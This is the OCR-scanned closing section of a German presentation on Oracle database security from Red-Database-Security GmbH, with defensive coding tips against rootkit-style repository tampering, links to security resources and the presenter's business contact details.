Tipps fur sicherere Programmierung

= Verwendung von Basis Tabellen anstatt View
bei kritischen Objekten (z.B. Benutzer,
Prozesse)

= Verwendung von absoluten
Ausfuhrungspfaden bei kritischen Objekten
(z.B. SYS.dbms_crypto)

=  Anwendung (z.B. Datenbank) selbst solle das
Repository nach Veranderungen tberprufen

= Regelmaliiger Vergleich des Repositories
gegen eine (sichere) Baseline
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Zusatzliche Links l.l

= Red-Database-Security GmbH
= Repscan

= Pete Finnigan‘s Website mit vielen Dokumenten zum
Thema Oracle security

m Vorinstalliertes Oracle @ VMware @ Linux

= Windows PE Bootdisk
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http://www.red-database-security.com/
http://www.red-database-security.com/m
http://www.petefinnigan.com/orasec.htm
http://otn.oracle.com/
http://www.nu2.nu/pebuilder/

2m Security

Kontakt

Alexander Kornbrust

Red-Database-Security GmbH
Bliesstrasse 16

D-66538 Neunkirchen

Telefon: +49 (0)6821 — 95 17 637

Fax: +49 (0)6821 — 91 27 354
E-Mail: ak at red-database-security.com
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